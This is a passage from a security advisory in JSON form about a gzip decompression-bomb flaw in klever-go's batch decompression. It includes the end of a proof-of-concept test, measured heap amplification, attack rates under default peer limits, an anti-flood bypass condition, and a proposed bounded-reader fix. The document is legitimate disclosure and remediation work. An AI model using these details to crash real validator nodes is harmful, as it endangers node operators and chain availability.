%d want %d\",\n\t\t\tlen(received.Data), N)\n\t}\n\tif allocated < 256<<20 {\n\t\tt.Fatalf(\"heap delta only %.2f MiB — expected >256 MiB\",\n\t\t\tfloat64(allocated)/(1<<20))\n\t}\n\truntime.KeepAlive(received)\n}\n```\n\n### Measured output\n\nApple-silicon dev machine, `go 1.25`, against commit\n`405d01b0abbf0d3e73b4a990bd7394a01f200dc2`:\n\n```\n=== RUN   TestC2_DecompressionBomb_RawZeros\n      wire payload (after Marshal): 260938 bytes (254.82 KiB)\n      advertised DataSize:          1\n      actual decompressed size:     268435456 bytes (256.00 MiB)\n      Decompress error: proto: cannot parse invalid wire-format data (irrelevant — heap already allocated)\n      peak heap during Decompress: +887994584 bytes (846.86 MiB)\n      elapsed: 155.79ms\n      amplification: 3403x (wire -> heap)\n--- PASS: TestC2_DecompressionBomb_RawZeros (0.52s)\n\n=== RUN   TestC2_DecompressionBomb_ValidInner\n      inner wire (uncompressed):    50000000 bytes (47.68 MiB)\n      outer wire (gzip-wrapped):    48642 bytes (47.50 KiB)\n      inner -> outer compression:   1028x\n      Decompress returned: <nil>\n      Decompressed b.Data length: 25000000 (matches N=25000000? true)\n      peak heap during Decompress: +2218262232 bytes (2115.50 MiB)\n      elapsed: 582.92ms\n      amplification: 45604x (wire -> heap)\n--- PASS: TestC2_DecompressionBomb_ValidInner (0.75s)\n```\n\nReproduction: any commit that includes `data/batch/batch.go` in its\ncurrent `decompressGzip`/`Decompress` form. The PoC does not depend on\nlibp2p, the live interceptor stack, or any deployed configuration — the\nbug is in `Batch.Decompress` itself; any caller that reaches it pays\nfor the unbounded allocation.\n\nThe PoC sources (along with a companion test for the bundled\nslice-prealloc finding) live under `playground/p2pflood/` on the\nmaintainer's local workstation and have not been pushed to any branch.\nThey will be converted into a regression-test suite alongside the patch\nin the private fork.\n\n## Impact\n\nA single connected peer publishing on a topic served by\n`MultiDataInterceptor` (which on a public chain includes any anonymous\ngossip publisher) can cause the receiving node to allocate 2+ GiB of\nheap in under one second per packet.\n\nWith the default deployed configuration\n(`peerMaxInput.totalSizePerInterval: 4194304` = 4 MiB/s per peer), an\nattacker can ship roughly 80 such bombs per second per connected peer\nbefore tripping the per-peer byte budget. The per-peer message count\nlimit (`baseMessagesPerInterval: 140` per fastReacting interval, 1000\nbefore blacklisting) is high enough to permit the attack to run for\nseveral seconds before any blacklist activates. By that point the node\nprocess is already OOM-killed.\n\nRealistic attack scenarios:\n\n* A single attacker connected to one validator can OOM that validator\n  in under a second (one bomb suffices on memory-constrained nodes).\n* A small number of malicious peers spread across the validator fleet\n  can OOM the entire fleet within a single block-production interval,\n  affecting chain liveness.\n* Eclipse-attack composition: the cost is paid before any peer\n  reputation logic runs, so the attack works regardless of whether the\n  receiver attributes the message to originator or relayer.\n\n## Affected Code\n\n* `data/batch/batch.go:35-53`   — `decompressGzip`, unbounded `io.ReadAll`\n* `data/batch/batch.go:109-137` — `Batch.Decompress`, ignores `DataSize`,\n                                   re-`Unmarshal`s inflated bytes\n* `core/process/interceptors/multiDataInterceptor.go:95-102` — call site\n* `core/process/interceptors/multiDataInterceptor.go:84-94`  — preceding\n                                   `Unmarshal` step\n\n## Patches\n\nA patch is in preparation on a private branch and will land in rc2,\ntogether with the fix for `GHSA-74m6-4hjp-7226`. The intended fix\nshape:\n\n```go\nconst maxInflatedBatch = 64 * 1024 * 1024 // 64 MiB hard ceiling; tune per topic\n\nfunc decompressGzip(data []byte, max int64) ([]byte, error) {\n    r, err := gzip.NewReader(bytes.NewReader(data))\n    if err != nil { return nil, err }\n    defer r.Close()\n    lr := io.LimitReader(r, max+1)\n    out, err := io.ReadAll(lr)\n    if err != nil { return nil, err }\n    if int64(len(out)) > max {\n        return nil, ErrDecompressionTooLarge\n    }\n    return out, nil\n}\n\nfunc (ba *Batch) Decompress(m marshal.Marshalizer) error {\n    if !ba.IsCompressed { return common.ErrNotCompressed }\n    if ba.DataSize > maxInflatedBatch {\n        return ErrDecompressionTooLarge\n    }\n    result, err := decompressGzip(ba.Stream, maxInflatedBatch)\n    if err != nil { return err }\n    if int64(len(result)) != int64(ba.DataSize) && ba.DataSize > 0 {\n        return ErrDecompressedSizeMismatch\n    }\n    if err := m.Unmarshal(ba, result); err != nil { return err }\n    ba.Stream, ba.IsCompressed = nil, false\n    return nil\n}\n```\n\nThe cap value should be selected per topic. A 64 MiB ceiling preserves\nbackward compatibility for legitimate large batches while reducing the\nworst-case allocation by ≈30× relative to the measured PoC and ≈400×\nrelative to the upper bound of an uncapped attack.\n\nA regression test based on the PoC will accompany the patch.\n\n## Workarounds\n\nNone at the configuration level. The `peerMaxInput.totalSizePerInterval`\nbudget could theoretically be lowered, but as the PoC measurements show,\na single bomb is already lethal on memory-constrained nodes. Patch is\nrequired.\n\n## Bundled Hardening (no separate CVE)\n\nThe following two issues were identified in the same call path during\nthe review. They are not independently exploitable under the default\ndeployed `defaultMaxMessagesPerSec: 35000` per-topic anti-flood limit\nand so do not warrant their own CVEs. They are remediated by the same\npatch as the headline vulnerability and are documented here for\ntransparency.\n\n### Bundled #1 — Slice pre-allocation amplification (CWE-789, CWE-770)\n\n`multiDataInterceptor.go:123` performs:\n\n```go\nlistInterceptedData := make([]process.InterceptedData, len(multiDataBuff))\n```\n\n`len(multiDataBuff)` is `len(b.Data)` after `Unmarshal` and `Decompress`,\nboth of which are attacker-controlled. Under the default per-topic\ncount budget this is bounded; a deployer who loosens that budget, or\nany future code path that bypasses it, would expose ≈16 bytes ×\nattacker-chosen-N of allocation. The same patch caps `len(b.Data)`\nimmediately after `Unmarshal`, again after `Decompress`, and before the\nmake.\n\nThe unconditional component of this finding — that `Decompress`'s\ninternal `Unmarshal` populates `b.Data` with N `[]byte` slice headers\n(24 B each) before any count-budget check runs — is captured by the\nheadline finding's PoC.\n\n### Bundled #2 — Self-message anti-flood bypass (CWE-290, CWE-693)\n\n`baseDataInterceptor.go:32` exempts messages from anti-flood enforcement\nwhen:\n\n```go\nbytes.Equal(m.Signature(), m.From()) &&\nbytes.Equal(m.From(), bdi.currentPeerID.Bytes()) &&\nfromConnectedPeer == bdi.currentPeerID\n```\n\nThe first equality is a sentinel byte comparison, not a cryptographic\ncheck. Exploitability depends on whether the upstream libp2p stack\nverifies envelope signatures before reaching `preProcessMessage`. The\npatch replaces the sentinel with a defense-in-depth check and ensures\nthrottler accounting still runs on the self-message path.\n\n## Coordination with `GHSA-74m6-4hjp-7226`\n\nThe maintainer team is concurrently handling `GHSA-74m6-4hjp-7226`,\nwhich discloses an adjacent throttler-slot-leak finding in the same\n`ProcessReceivedMessage` function. The two CVEs are independently\nfixable per CNA Operational Rules, but operationally the patches must\nland in one release. rc2 will supersede rc1 and contain fixes for both\nadvisories. Validators upgrade once.\n\n\n## Credits\n\nFernando Sobreira (maintainer, internal security review).\n\n## References\n\n* Reviewed commit: `405d01b0abbf0d3e73b4a990bd7394a01f200dc2`\n* Related advisory: `GHSA-74m6-4hjp-7226`\n* CWE-409: https://cwe.mitre.org/data/definitions/409.html\n* CWE-770: https://cwe.mitre.org/data/definitions/770.html",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Go",
      "name" : "github.com/klever-io/klever-go"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "1.7.16"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/klever-io/klever-go/security/advisories/GHSA-87m7-qffr-542v"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-44697"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/klever-io/klever-go"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-409", "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-13T01:36:27Z",
    "nvd_published_at" : "2026-05-29T18:17:09Z"
  }
}